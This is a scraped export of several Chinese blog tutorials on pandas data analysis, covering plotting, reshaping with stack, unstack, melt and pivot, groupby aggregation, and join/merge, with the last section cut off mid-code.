数据分析将数据进行可视化绘图展示离不开数据，pandas的两大数据结构Series和DataFrame都提供了相应的方法很方便的进行数据的可视化绘图展示。\n1、数据 pandas 提供了 plot() 方法可以快速方便地将 Series 和 DataFrame 中的数据进行可视化。\na) Series Series 使用 plot 时 x 轴为索引，y 轴为索引对应的具体值：\n1 2 3 4 5 import numpy as np import pandas as pd series_data=pd.Series(np.random.randn(10),index=range(10)) series_data series_data.plot() b) DataFrame DataFrame 使用 plot 时 x 轴为索引，y 轴为索引对应的多个具体值：\n1 2 3 df_staff = pd.read_excel(\u0026#39;D:\\\\Python\\\\study\\\\pythontest\\\\pandastest\\\\数据集\\\\staff_sale_byQ.xlsx\u0026#39;) df_staff df_staff.plot() plot()可以通过传入x和y指定显示具体的列数据\n1 2 #指定X轴及y显示的列数据 df_staff.plot(x=\u0026#39;季度\u0026#39;,y=[\u0026#39;张三\u0026#39;,\u0026#39;李四\u0026#39;]) 2、图形 plot 默认为折线图，折线图也是最常用和最基础的可视化图形，足以满足我们日常 80% 的需求。 除了使用默认的线条绘图外，还可以使用其他绘图方式，如下所示：\n柱状图：bar() 或 barh() 箱形图：box() 区域图：area() 饼状图：pie() 散点图：scatter() 直方图：hist() a) 柱状图 柱状图（bar chart），使用与轴垂直的柱子，通过柱形的高低来表达数据的多少，适用于数据的对比，在整体中也能看到数据的发展变化趋势。 DataFrame 可以直接调用 plot.bar() 生成折线图，与折线图类似，x 轴为索引，其他数字类型的列为 y 轴上的条形，可以设置参数stacked=True生成柱状堆叠图 df.plot.bar() df.plot.barh() # 横向 df[:5].plot.bar(x=\u0026lsquo;name\u0026rsquo;, y=\u0026lsquo;Q4\u0026rsquo;) # 指定xy轴 df[:5].plot.bar(\u0026rsquo;name\u0026rsquo;, [\u0026lsquo;Q1\u0026rsquo;, \u0026lsquo;Q2\u0026rsquo;]) # 指定xy轴\n1 2 3 4 5 6 #柱状图 df_staff.plot.bar(x=\u0026#39;季度\u0026#39;,y=[\u0026#39;张三\u0026#39;,\u0026#39;李四\u0026#39;,\u0026#39;王五\u0026#39;]) #柱状图可以设置参数stacked=True生成柱状堆叠图 df_staff.plot.bar(x=\u0026#39;季度\u0026#39;,y=[\u0026#39;张三\u0026#39;,\u0026#39;李四\u0026#39;,\u0026#39;王五\u0026#39;],stacked=True) #通过barh()方法可以绘制水平柱状图 df_staff.plot.barh(x=\u0026#39;季度\u0026#39;,y=[\u0026#39;张三\u0026#39;,\u0026#39;李四\u0026#39;,\u0026#39;王五\u0026#39;],stacked=True) b) 箱形图 箱形图（Box Chart）又称盒须图、盒式图或箱线图，是一种用作显示一组数据分布情况的统计图。Series.plot.box() 、 DataFrame.plot.box(), 和 DataFrame.boxplot() 都可以绘制箱形图。 从箱形图中我们可以观察到：\n一组数据的关键值：中位数、最大值、最小值等。 数据集中是否存在异常值，以及异常值的具体数值。 数据是否是对称的。 这组数据的分布是否密集、集中。 数据是否扭曲，即是否有偏向性。 1 df_staff.plot.box(x=\u0026#39;季度\u0026#39;,y=[\u0026#39;张三\u0026#39;,\u0026#39;李四\u0026#39;,\u0026#39;王五\u0026#39;]) c) 区域图 区域图（Area Chart），又叫面积图。 将折线图中折线与自变量坐标轴之间的区域使用颜色或者纹理填充，这样一个填充区域叫做面积，颜色的填充可以更好的突出趋势信息，需要注意的是颜色要带有一定的透明度，透明度可以很好的帮助使用者观察不同序列之间的重叠关系，没有透明度的面积会导致不同序列之间相互遮盖减少可以被观察到的信息。 面积图默认情况下是堆叠的。 要生成堆积面积图，每列必须全部为正值或全部为负值。\n1 df_staff.plot.area(x=\u0026#39;季度\u0026#39;,y=[\u0026#39;张三\u0026#39;,\u0026#39;李四\u0026#39;,\u0026#39;王五\u0026#39;]) d) 饼状图 饼图（Pie Chart）广泛得应用在各个领域，用于表示不同分类的占比情况，通过弧度大小来对比各种分类。饼图通过将一个圆饼按照分类的占比划分成多个区块，整个圆饼代表数据的总量，每个区块（圆弧）表示该分类占总体的比例大小，所有区块（圆弧）的加和等于 100%。 可以使用 DataFrame.plot.pie() 或 Series.plot.pie() 创建饼图\n1 2 3 4 5 6 7 df_staff #看张三每个季度的业绩分布 df_staff.plot.pie(y=\u0026#39;张三\u0026#39;,subplots=True) #看第一个季度，每个人的绩效分布 df_staff1=df_staff.loc[0:0,\u0026#39;张三\u0026#39;:\u0026#39;孙八\u0026#39;].T df_staff1.columns=[\u0026#39;Q\u0026#39;] df_staff1.plot.pie(y=\u0026#39;Q\u0026#39;,subplots=True) e) 散点图 散点图（Scatter graph）也叫 X-Y 图，它将所有的数据以点的形式展现在直角坐标系上，以显示变量之间的相互影响程度，点的位置由变量的数值决定。 通过观察散点图上数据点的分布情况，我们可以推断出变量间的相关性。如果变量之间不存在相互关系，那么在散点图上就会表现为随机分布的离散的点，如果存在某种相关性，那么大部分的数据点就会相对密集并以某种趋势呈现。\n1 2 df1 = pd.DataFrame(np.random.rand(50, 4), columns=[\u0026#34;a\u0026#34;, \u0026#34;b\u0026#34;, \u0026#34;c\u0026#34;, \u0026#34;d\u0026#34;]) df1.plot.scatter(x=\u0026#34;a\u0026#34;, y=\u0026#34;b\u0026#34;); f) 直方图 直方图(Histogram)，又称质量分布图，是一种统计报告图，它是根据具体数据的分布情况，画成以组距为底边、以频数为高度的一系列连接起来的直方型矩形图。 1 2 3 4 5 6 7 8 9 10 11 #构建数据集 df4=pd.DataFrame({ \u0026#34;a\u0026#34;: np.random.randn(1000) + 1, \u0026#34;b\u0026#34;: np.random.randn(1000), \u0026#34;c\u0026#34;: np.random.randn(1000) - 1, \u0026#34;d\u0026#34;: np.random.randn(1000) - 2, },columns=[\u0026#39;a\u0026#39;,\u0026#39;b\u0026#39;,\u0026#39;c\u0026#39;,\u0026#39;d\u0026#39;]) df4 df4.plot.hist(alpha=0.5) #指定图形透明度 df4.plot.hist(stacked=True,bins=20) #堆叠并指定箱数为20 df4.diff().hist() #通过diff给每一列数据都绘制一个直方图 至此，本文介绍了pandas常用的绘图组件matplotlib，包括mataplotlib绘图的基本构成，如何在windows下解决中文问题，并通过实例介绍了如何通过pandas的数据集绘制折线图、箱线图、柱状图、饼图、面积图、散点图、直方图等。\n参考资料：《利用python进行数据分析》、pandas官网 user guide\n数据集及源代码见：https://github.com/xiejava1018/pandastest.git\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-02-16-pandas%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90%E4%B9%8B%E6%95%B0%E6%8D%AE%E7%BB%98%E5%9B%BE/","summary":"\u003cp\u003e一图胜千言，将信息可视化（绘图）是数据分析中最重要的工作之一。它除了让人们对数据更加直观以外，还可以帮助我们找出异常值、必要的数据转换、得出有关模型的想法等等。pandas 在数据分析、数据可视化方面有着较为广泛的应用。本文将通过实例介绍pandas的数据绘图。\n\u003cimg alt=\"pandas数据绘图\" loading=\"lazy\" src=\"http://image2.ishareread.com/images/2022/20220216/pandas%E6%95%B0%E6%8D%AE%E7%BB%98%E5%9B%BE.png\"\u003e\u003c/p\u003e","title":"pandas数据分析之数据绘图"},{"content":"在数据分析的过程中，分析师常常希望通过多个维度多种方式来观察分析数据，重塑和透视是常用的手段。 数据的重塑简单说就是对原数据进行变形，为什么需要变形，因为当前数据的展示形式不是我们期望的维度，也可以说索引不符合我们的需求。对数据的重塑不是仅改变形状那么简单，在变形过程中，数据的内在数据意义不能变化，但数据的提示逻辑则发生了重大的改变。 数据透视是最常用的数据汇总工具，Excel 中经常会做数据透视，它可以根据一个或者多个指定的维度来聚合数据。pandas 也提供了数据透视函数来实现这些功能。 如果能熟练区分和使用各种重塑和透视分析方法，那用pandas处理分析日常的数据基本上就没有什么难度了。\n在介绍数据重塑透视之前，先来介绍一下pandas中DataFrame的层次化索引，它广泛应用于重塑透视操作。\n一、层次化索引 层次化索引是pandas的一项重要功能，它使你能在一个轴上拥有多个（两个以上）索引层数，分层索引的目的是用低维度的结构（Series 或者 DataFrame）更好地处理高维数据。通过分层索引，我们可以像处理二维数据一样，处理三维及以上的数据。分层索引的存在使得分析高维数据变得简单。 我们来看一下student数据集，并根据该数据集分别构建列和行的层次索引。然后再介绍数据的重塑和透视。 引入student数据集：\n1 2 3 4 import numpy as np import pandas as pd df = pd.read_excel(\u0026#39;D:\\\\Python\\\\study\\\\pythontest\\\\pandastest\\\\数据集\\\\student.xlsx\u0026#39;) df 该student数据集包含学生学号、姓名、语文、数据、英语的成绩等。\n1、列索引分层 我们选取一些关键的数据构建列标签的层次化索引。这里我们选取\u0026rsquo;班级\u0026rsquo;,\u0026lsquo;姓名\u0026rsquo;,\u0026lsquo;语文\u0026rsquo;,\u0026lsquo;数学\u0026rsquo;,\u0026lsquo;英语\u0026rsquo;的列，并且将‘班级’、‘姓名’标记为‘标识’，\u0026lsquo;语文\u0026rsquo;,\u0026lsquo;数学\u0026rsquo;,\u0026lsquo;英语\u0026rsquo;标记为‘成绩’\n1 2 3 df_student=df[[\u0026#39;班级\u0026#39;,\u0026#39;2-姓名\u0026#39;,\u0026#39;4-语文\u0026#39;,\u0026#39;5-数学\u0026#39;,\u0026#39;6-英语\u0026#39;]] df_student.columns=[[\u0026#39;标识\u0026#39;,\u0026#39;标识\u0026#39;,\u0026#39;成绩\u0026#39;,\u0026#39;成绩\u0026#39;,\u0026#39;成绩\u0026#39;],[\u0026#39;班级\u0026#39;,\u0026#39;姓名\u0026#39;,\u0026#39;语文\u0026#39;,\u0026#39;数学\u0026#39;,\u0026#39;英语\u0026#39;]] df_student 通过指定DataFrame的columns的层级将\u0026rsquo;班级\u0026rsquo;,\u0026lsquo;姓名\u0026rsquo;,\u0026lsquo;语文\u0026rsquo;,\u0026lsquo;数学\u0026rsquo;,\u0026lsquo;英语\u0026rsquo;，上多抽出了一个层级，这个层有两个索引一个是‘标识’，一个是成绩，其中‘班级’和‘名称’是属于标识，\u0026lsquo;语文\u0026rsquo;,\u0026lsquo;数学\u0026rsquo;,\u0026lsquo;英语\u0026rsquo;都是\u0026rsquo;成绩\u0026rsquo;。\n2、行索引分层 接下来看行索引的分层。我们将属于一班的和属于二班的同学进行分层，再分成两个索引。\n1 2 3 4 #根据行索引分层，设置行索引将其分成班级和姓名两个层次索引 df_student=df_student.set_index([(\u0026#39;标识\u0026#39;,\u0026#39;班级\u0026#39;),(\u0026#39;标识\u0026#39;,\u0026#39;姓名\u0026#39;)]) df_student.index.names=[\u0026#39;班级\u0026#39;,\u0026#39;姓名\u0026#39;] df_student 可以看到将数据集的班级和姓名列分成了两个行的层级索引。没有用默认的0-9的行索引\n二、数据堆叠与拆堆 层次化索引为DataFrame数据的重排任务提供了一种具有良好一致性的方式，有许多用于重新排列表格数据的基础运算。这些函数也称作重塑（reshape）或轴向旋转（pivot）运算。 常见的数据重塑包括数据的堆叠 stack 和 取消堆叠 unstck\n1、数据堆叠 stack 堆叠 stack ，顾名思义，就是将列的数据堆叠形成行。 借用pandas官网的示意图： 看实际数据数据会更容易理解，为了方便我们取student数据集的前5行记录来进行数据堆叠stack()\n1 2 3 4 5 df_student[:5] #将数据进行堆叠 #将数据进行堆叠 df_student5=df_student[:5].stack() df_student5 在这里可以看到通过stack()将“语文”、“数学”、\u0026ldquo;英语\u0026rdquo;，三列，一个个堆叠形成一条记录的三行。这样列数减少了，行数增多了。\n对于多层索引，可以根据指定堆叠层次，默认是最高层次的堆叠。 我们来看指定堆叠层次，如果stack(0)，表示堆叠level0层的。\n2、取消堆叠 unstack 取消堆叠 unstack是堆叠的反操作。 也就是将堆叠好了的行数据，一个个卸下来形成列。这样一来行数减少了，但是列数增多了。\n1 2 # 取消堆叠 unstack() df_student5.unstack() 可以看到原来的“语文”、“数学”、\u0026ldquo;英语\u0026quot;三行，通过unstack()进行拆堆，拆成了三列，明显数据没有那么高了，行数少了，列数多了。 同样对于多层索引可以逐层拆堆 三、数据融合与透视 数据透视是最常用的数据汇总工具，它可以根据一个或者多个指定的维度来聚合数据。实际上搞懂了stack和unstack就很容易搞懂pivot和melt了，stack和unstack根据索引来进行堆叠和拆堆，pivot和melt可以根据指定的数据来进行变换操作灵活性更高。\n1、数据融合 melt 来看pandas官网的示意图，是不是和stack的图有点类似，都是将列转换成行，不同的是melt可以指定哪些列固定，哪些列转换成行等灵活性更高。简单说就是将指定的列放到铺开放到行上名为variable(可指定)列，值在value(可指定)列 melt语法：\n1 2 3 4 pd.melt(frame: pandas.core.frame.DataFrame, id_vars=None, value_vars=None, var_name=\u0026#39;variable\u0026#39;, value_name=\u0026#39;value\u0026#39;, col_level=None) 其中：\nid_varstuple，list或ndarray（可选），用作标识变量的列。 value_varstuple，列表或ndarray，可选，要取消透视的列。 如果未指定，则使用未设置为id_vars的所有列。 var_namescalar，用于“变量”列的名称。 如果为None，则使用frame.columns.name或“variable”。 value_namescalar，默认为“ value”，用于“ value”列的名称。 col_levelint或str，可选，如果列是MultiIndex，则使用此级别来融化。 我们还是来看示例： 数据集还是student数据集，为了演示方便取前5条记录\n1 2 3 df_student=df[[\u0026#39;班级\u0026#39;,\u0026#39;2-姓名\u0026#39;,\u0026#39;4-语文\u0026#39;,\u0026#39;5-数学\u0026#39;,\u0026#39;6-英语\u0026#39;]] df_student.columns=[[\u0026#39;标识\u0026#39;,\u0026#39;标识\u0026#39;,\u0026#39;成绩\u0026#39;,\u0026#39;成绩\u0026#39;,\u0026#39;成绩\u0026#39;],[\u0026#39;班级\u0026#39;,\u0026#39;姓名\u0026#39;,\u0026#39;语文\u0026#39;,\u0026#39;数学\u0026#39;,\u0026#39;英语\u0026#39;]] df_student[0:5] 现在将“班级”和“姓名”固定，\u0026lsquo;语文\u0026rsquo;,\u0026lsquo;数学\u0026rsquo;,\u0026lsquo;英语\u0026rsquo;三列转换成行融合为“学科”字段，这三个列的值定义为“分数”列。\n1 2 3 4 5 # 将“班级”和“姓名”固定，\u0026#39;语文\u0026#39;,\u0026#39;数学\u0026#39;,\u0026#39;英语\u0026#39;三列转换成行融合为“学科”字段，这三个列的值定义为“分数”列 df_student[0:5].melt(id_vars=[\u0026#39;班级\u0026#39;,\u0026#39;姓名\u0026#39;], value_vars=[\u0026#39;语文\u0026#39;,\u0026#39;数学\u0026#39;,\u0026#39;英语\u0026#39;], var_name=\u0026#39;学科\u0026#39;, value_name=\u0026#39;分数\u0026#39;,col_level=1) 具体实现如下图所示： 2、数据透视 pivot 来看pandas官网的示意图，是不是和unstack的图有点类似，将行数据转换成列。同样pivot提供了更多的参数可以指定相应的数据进行转换，比unstack更加灵活。 这里有三个参数，作用分别是：\nindex：新 df 的索引列，用于分组，如果为None，则使用现有索引 columns：新 df 的列，如果透视后有重复值会报错 values：用于填充 df 的列。 如果未指定，将使用所有剩余的列，并且结果将具有按层次结构索引的列 1 2 3 4 5 6 df_student5=df_student[0:5].melt(id_vars=[\u0026#39;班级\u0026#39;,\u0026#39;姓名\u0026#39;], value_vars=[\u0026#39;语文\u0026#39;,\u0026#39;数学\u0026#39;,\u0026#39;英语\u0026#39;], var_name=\u0026#39;学科\u0026#39;, value_name=\u0026#39;分数\u0026#39;,col_level=1) df_student5 df_student5.pivot(index=[\u0026#39;班级\u0026#39;,\u0026#39;姓名\u0026#39;],columns=\u0026#39;学科\u0026#39;,values=\u0026#39;分数\u0026#39;) 这里通过pivot将“学科”的行数据透视转换成“数学”、“英语”、“语文”三列，具体实现如下图所示： 可以看出privot实际和unstack类似是由行转换成列的视图，但比起unstack更加灵活。\n至此，介绍了pandas的多层索引及pandas的4种重塑操作：stack、unstack、pivot、melt: stack、unstack是基础：stack实现列转行，unstack实现行转列。 melt与stack类似，比stack更加灵活。 pivot与unstack类似，比unstack更加灵活。\n数据集及源代码见：https://github.com/xiejava1018/pandastest.git\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-02-14-pandas%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90%E4%B9%8B%E6%95%B0%E6%8D%AE%E9%87%8D%E5%A1%91%E9%80%8F%E8%A7%86-stackunstackmeltpivot/","summary":"\u003cp\u003e在数据分析的过程中，分析师常常希望通过多个维度多种方式来观察分析数据，重塑和透视是常用的手段。\n数据的重塑简单说就是对原数据进行变形，为什么需要变形，因为当前数据的展示形式不是我们期望的维度，也可以说索引不符合我们的需求。对数据的重塑不是仅改变形状那么简单，在变形过程中，数据的内在数据意义不能变化，但数据的提示逻辑则发生了重大的改变。\n数据透视是最常用的数据汇总工具，Excel 中经常会做数据透视，它可以根据一个或者多个指定的维度来聚合数据。pandas 也提供了数据透视函数来实现这些功能。\n如果能熟练区分和使用各种重塑和透视分析方法，那用pandas处理分析日常的数据基本上就没有什么难度了。\u003c/p\u003e","title":"pandas数据分析之数据重塑透视(stack、unstack、melt、pivot)"},{"content":"在数据分析过程中，经常会需要根据某一列或多列把数据划分为不同的组别，然后再对其进行数据分析。本文将介绍pandas的数据分组及分组后的应用如对数据进行聚合、转换和过滤。\n在关系型数据库中我们常用SQL的GROUP BY操作进行分组分析计算。在pandas中要完成数据的分组操作同样可用groupby()函数，然后再在划分出来的组（group）上应用一些统计函数，从而达到数据分析的目的，比如对分组数据进行聚合、转换或者过滤。这个过程主要包含以下三步：拆分(split)-应用(apply)-合并(combine） 例如，DataFrame可以在列(axis=1)或行(axis=0)上进行分组(split)，然后将一个函数应用(apply)到各个分组并产生一个新值，最后所有这些函数的执行结果会被合并(combine)到最终的结果对象中。 一个简单的分组聚合的过程如下图所示： 我们来构造图中所示的DataFrame数据集，看看pandas的分组聚合是怎么做的。\n1 2 3 4 import pandas as pd import numpy as np df=pd.DataFrame({\u0026#39;key\u0026#39;:[\u0026#39;A\u0026#39;,\u0026#39;B\u0026#39;,\u0026#39;C\u0026#39;,\u0026#39;A\u0026#39;,\u0026#39;B\u0026#39;,\u0026#39;C\u0026#39;,\u0026#39;A\u0026#39;,\u0026#39;B\u0026#39;,\u0026#39;C\u0026#39;],\u0026#39;data\u0026#39;:[0,5,10,5,10,15,10,15,20]}) df 1 2 3 4 5 grouped=df.groupby([\u0026#39;key\u0026#39;]) #通过key分组 #查看分组情况 for dtype,group in grouped: print(dtype) grouped.sum() #对每个分组应用sum函数，并最后组合成结果 通过对df的key进行用groupby()进行分组，这里可看到，将数据分成了A、B、C三组，然后对这三组分别应用sum()函数求和，再组合成最终的结果。 对于分组聚合一般来说实际上是分两步：一是创建分组对象进行分组，二是对分组进行相应处理如（对组应用聚合函数、对组进行转换、对组的数据进行过滤）。不过实际在具体写的时候可以通过链式调用一个语句就可以实现如：\n1 df.groupby([\u0026#39;key\u0026#39;]).sum() #链式调用先分组再用聚合函数聚合 一、创建分组对象进行分组 groupby可以把分组时指定的键（key）作为每组的组名。groupby对象支持迭代，可以遍历每个分组的具体数据。 如：\n1 2 3 4 #查看分组情况 for name,group in grouped: print(name) print(group) 1、根据多列进行分组 groupby可以通过传入需要分组的参数实现对数据的分组，参数可以是单列，也可以是多列，多列以列表的方式传入。\n1 grouped=df.groupby([\u0026#39;key1\u0026#39;,\u0026#39;key2\u0026#39;]) 2、通过字典或Series进行分组 除数组以外，分组信息还可以其他形式存在。如可以定义字典或Series进行分组。\n1 2 3 4 5 6 7 8 9 10 people=pd.DataFrame(np.random.randn(5,5), columns=[\u0026#39;a\u0026#39;,\u0026#39;b\u0026#39;,\u0026#39;c\u0026#39;,\u0026#39;d\u0026#39;,\u0026#39;e\u0026#39;], index=[\u0026#39;Joe\u0026#39;,\u0026#39;Steve\u0026#39;,\u0026#39;Wes\u0026#39;,\u0026#39;Jim\u0026#39;,\u0026#39;Bob\u0026#39;]) people mapping={\u0026#39;a\u0026#39;:\u0026#39;red\u0026#39;,\u0026#39;b\u0026#39;:\u0026#39;red\u0026#39;,\u0026#39;c\u0026#39;:\u0026#39;blue\u0026#39;,\u0026#39;d\u0026#39;:\u0026#39;blue\u0026#39;,\u0026#39;e\u0026#39;:\u0026#39;red\u0026#39;}#定义分组字典 by_column=people.groupby(mapping,axis=1) #查看分组情况 for group_name,group_data in by_column: print(group_name) print(group_data) 在字典中我们定义了mapping={'a':'red','b':'red','c':'blue','d':'blue','e':'red'}#定义分组字典 a、b、e对应“red”，c、d对应“blue”所以将blue和red分成了两组。 应用sum()求和函数，可以看到分别对blue和red的分组进行了求和。 类似的，Series也是一样的，我们将map转换成Series，可以看到分组结果和map分组一样的。 3、通过函数进行分组 比起使用字典或Series,使用Python函数是一种更原生的方法定义分组映射，。任何被当做分组键的函数都会在各个索引值上被调用一次，其返回值就会被用作分组名称。 如上面的people数据集，将姓名索引的长度进行分组。\n1 by_len=people.groupby(len) 可以看到将姓名长度相同的3分成一组，长度为5的数据分成了一组 更加通用的是可以自定义函数进行分组，如要将索引\u0026gt;5的和小于5的分别分组，可以自定义函数\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #数据集 df=pd.DataFrame({\u0026#39;key\u0026#39;:[\u0026#39;A\u0026#39;,\u0026#39;B\u0026#39;,\u0026#39;C\u0026#39;,\u0026#39;A\u0026#39;,\u0026#39;B\u0026#39;,\u0026#39;C\u0026#39;,\u0026#39;A\u0026#39;,\u0026#39;B\u0026#39;,\u0026#39;C\u0026#39;], \u0026#39;data\u0026#39;:[0,5,10,5,10,15,10,15,20]}, index=[1,2,3,4,5,6,7,8,9]) df #自定义函数区分大于5和小于5的数据 def big5(x): result=0 if x\u0026gt;5: result=1 return result by_big5=df.groupby(big5) #根据索引是否大于5进行分组 #查看分组情况 for group_name,group_data in by_big5: print(group_name) print(group_data) 二、对分组后的数据进行应用 前面通过分组将数据集根据条件分组后，可以对分组后的数据进行各种处理包括聚合、转换、过滤等操作。\n1、对分组数据用聚合函数进行聚合 a) 使用pandas聚合函数 前面第一部分的例子中对数据分组后进行了sum()求和聚合操作，类似的聚合函数还有很多如：\n函数名 描述 count 分组中非NA值的数量 sum 非NA值的和 mean 非NA值的平均值 median 非NA值的中位数 std, var 标准差和方差 min, max 非NA的最小值，最大值 prod 非NA值的乘积 first, last 非NA值的第一个,最后一个 b) 使用自定义聚合函数 pandas的groupby分组对象还可以用自定义的聚合函数可以通过groupby分组对象，将你自己的聚合函数，传入aggregate或agg方法即可\n1 2 df=pd.DataFrame({\u0026#39;key\u0026#39;:[\u0026#39;A\u0026#39;,\u0026#39;B\u0026#39;,\u0026#39;C\u0026#39;,\u0026#39;A\u0026#39;,\u0026#39;B\u0026#39;,\u0026#39;C\u0026#39;,\u0026#39;A\u0026#39;,\u0026#39;B\u0026#39;,\u0026#39;C\u0026#39;],\u0026#39;data\u0026#39;:[0,5,10,5,10,15,10,15,20]}) df 1 2 3 4 5 grouped=df.groupby([\u0026#39;key\u0026#39;]) #查看分组情况 for group_name,group_data in grouped: print(group_name) print(group_data) 1 2 3 4 def peak_to_peak(arr): return arr.max() - arr.min() grouped.agg(peak_to_peak) 2、根据分组数据进行转换 根据分组数据进行数据转换或其他操作，可以在分组的基础上用apply函数进行数据的转换。 如数据集\n1 2 3 4 5 6 7 8 9 df=pd.DataFrame({\u0026#39;key\u0026#39;:[\u0026#39;A\u0026#39;,\u0026#39;B\u0026#39;,\u0026#39;C\u0026#39;,\u0026#39;A\u0026#39;,\u0026#39;B\u0026#39;,\u0026#39;C\u0026#39;,\u0026#39;A\u0026#39;,\u0026#39;B\u0026#39;,\u0026#39;C\u0026#39;], \u0026#39;data\u0026#39;:[0,5,10,5,10,15,10,15,20]}) df 根据key分组 grouped=df.groupby([\u0026#39;key\u0026#39;]) #查看分组情况 for group_name,group_data in grouped: print(group_name) print(group_data) 现在我们要对data求和后小于25的分组数据都加1 那么我们可以定义函数，然后再对分数数据进行应用\n1 2 3 4 5 6 def add1(df): if df[:][\u0026#39;data\u0026#39;].sum()\u0026lt;25: return df[:][[\u0026#39;data\u0026#39;]]+1 else: return df[:][[\u0026#39;data\u0026#39;]] grouped.apply(add1) 3、根据分组数据进行过滤 通过 filter() 函数可以实现数据的筛选，该函数根据定义的条件过滤数据并返回一个新的数据集。 如当我们要过滤掉分组后data求和小于25的数据\n1 2 3 4 5 6 7 #过滤掉sum()求和小于25的数据 def filtersum25(x): if x[\u0026#39;data\u0026#39;].sum()\u0026gt;25: return True else: return False grouped.filter(filtersum25) 至此，本文通过实例介绍了pandas的数据分组及分组后的应用如对数据进行聚合、转换和过滤。数据的分组和聚合是数据分析中常用的分析手段，转换和过滤是数据处理中可用到的方法。\n数据集及源代码见：https://github.com/xiejava1018/pandastest.git\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2022-02-12-pandas%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90%E4%B9%8B%E5%88%86%E7%BB%84%E8%81%9A%E5%90%88/","summary":"\u003cp\u003e在数据分析过程中，经常会需要根据某一列或多列把数据划分为不同的组别，然后再对其进行数据分析。本文将介绍pandas的数据分组及分组后的应用如对数据进行聚合、转换和过滤。\u003c/p\u003e","title":"pandas数据分析之分组聚合"},{"content":"在许多应用中，数据可能来自不同的渠道，在数据处理的过程中常常需要将这些数据集进行组合合并拼接，形成更加丰富的数据集。pandas提供了多种方法完全可以满足数据处理的常用需求。具体来说包括有join、merge、concat、append等。\n一般来说\n方法 说明 join 最简单，主要用于基于索引的横向合并拼接 merge 最常用，主要用户基于指定列的横向合并拼接 concat 最强大，可用于横向和纵向合并拼接 append 主要用于纵向追加 combine_first 合并重叠数据，填充缺失值 update 将一个数据集的值更新到另一个数据集 下面就来逐一介绍每个方法\n一、join join主要用于基于索引的横向合并拼接 在介绍pandas的join之前我们来看一下SQL对数据集join的几种模式。如果大家对SQL比较熟悉的话应该对SQL操作数据集进行各种合并拼接印象深刻。SQL中各种JOIN的方法如下： pandas的join实现了left join、right jion、inner join、out jion常用的4中join方法 来自官网的参数说明：\n1 2 3 4 5 6 dataframe.join(other, # 待合并的另一个数据集 on=None, # 连接的键 how=\u0026#39;left\u0026#39;, # 连接方式：‘left’, ‘right’, ‘outer’, ‘inner’ 默认是left lsuffix=\u0026#39;\u0026#39;, # 左边（第一个）数据集相同键的后缀 rsuffix=\u0026#39;\u0026#39;, # 第二个数据集的键的后缀 sort=False) # 是否根据连接的键进行排序；默认False 我们来看下实例，有两个数据集一个是人员姓名，一个是人员的工资\n1 2 left=pd.DataFrame([\u0026#39;张三\u0026#39;,\u0026#39;李四\u0026#39;,\u0026#39;王五\u0026#39;,\u0026#39;赵六\u0026#39;,\u0026#39;钱七\u0026#39;], index=[3,4,5,6,7],columns=[\u0026#39;姓名\u0026#39;]) right=pd.DataFrame([13000,15000,9000,8600,10000], index=[3,4,5,6,8],columns=[\u0026#39;工资\u0026#39;]) 注意，left和right的数据集分别都指定了index，因为join主要用于基于索引的横向合并拼接。\n1、left join 1 left.join(right) #默认how=\u0026#39;left\u0026#39; jion操作默认是left jion的操作，可以看到left索引为7姓名为钱七，在right中没有索引为7的对应所以显示left的姓名但right的工资为NaN，right中索引为8的数据在left中没有索引为8的，所以没有显示。left join合并left的数据 left join 如下图所示 2、right join 1 left.join(right,how=\u0026#39;right\u0026#39;) 右链接合并时可以看到，left的数据集没有索引为8的项，所以索引为8的项显示right数据集的工资数据但姓名为NaN，在left中索引为7的项因为right中不存在，所以没有显示。right join合并right的数据 right join 如下图所示 3、inner join 1 left.join(right,how=\u0026#39;inner\u0026#39;) 内链接合并时，可以看到left数据集中的索引为7姓名为钱七因为在right数据集中找不到对应的索引，right数据集中索引为8的在left找不到对应的索引所以内连接合并时索引7和8都没有进行合并，inner join只合并两个数据集共有的数据 inner join 如下图所示 4、out join 1 left.join(right,how=\u0026#39;outer\u0026#39;) 外链接合并时，可以看到不管是left中的数据还是right中的数据都进行了合并。right join合并两个数据集中所有的数据。 outer join 如下图所示 join很简单，但是它有局限性，因为它只能根据索引来合并。不能指定键来进行合并。比如我要根据编号和姓名来合并，join就比较难办了。但是pandas提供了merge的方法，可以指定列来进行合并拼接。\n二、merge merge最常用，主要用户基于指定列和横向合并拼接，语法如下：\n1 2 pd.merge(left, right, how=\u0026#39;inner\u0026#39;, on=None, left_on=None, right_on=None, left_index=False, right_index=False, sort=True,suffixes=(\u0026#39;_x\u0026#39;, \u0026#39;_y\u0026#39;), copy=True) 参数名称 说明 left/right 两个不同的 DataFrame 对象。 on 指定用于连接的键（即列标签的名字），该键必须同时存在于左右两个 DataFrame 中，如果没有指定，并且其他参数也未指定， 那么将会以两个 DataFrame 的列名交集做为连接键。 left_on 指定左侧 DataFrame 中作连接键的列名。该参数在左、右列标签名不相同，但表达的含义相同时非常有用。 right_on 指定左侧 DataFrame 中作连接键的列名。 left_index 布尔参数，默认为 False。如果为 True 则使用左侧 DataFrame 的行索引作为连接键，若 DataFrame 具有多层索引(MultiIndex)，则层的数量必须与连接键的数量相等。 right_index 布尔参数，默认为 False。如果为 True 则使用左侧 DataFrame 的行索引作为连接键。 how 要执行的合并类型，从 {\u0026rsquo;left\u0026rsquo;, \u0026lsquo;right\u0026rsquo;, \u0026lsquo;outer\u0026rsquo;, \u0026lsquo;inner\u0026rsquo;} 中取值，默认为“inner”内连接。 sort 布尔值参数，默认为True，它会将合并后的数据进行排序；若设置为 False，则按照 how 给定的参数值进行排序。 suffixes 字符串组成的元组。当左右 DataFrame 存在相同列名时，通过该参数可以在相同的列名后附加后缀名，默认为(\u0026rsquo;_x\u0026rsquo;,\u0026rsquo;_y\u0026rsquo;)。 copy 默认为 True，表示对数据进行复制。 我们来看下面的数据集，在上面的数据集中left数据集加入了员工的编号，right数据集加入了编号及姓名。索引就按默认的索引。\n1 2 3 4 5 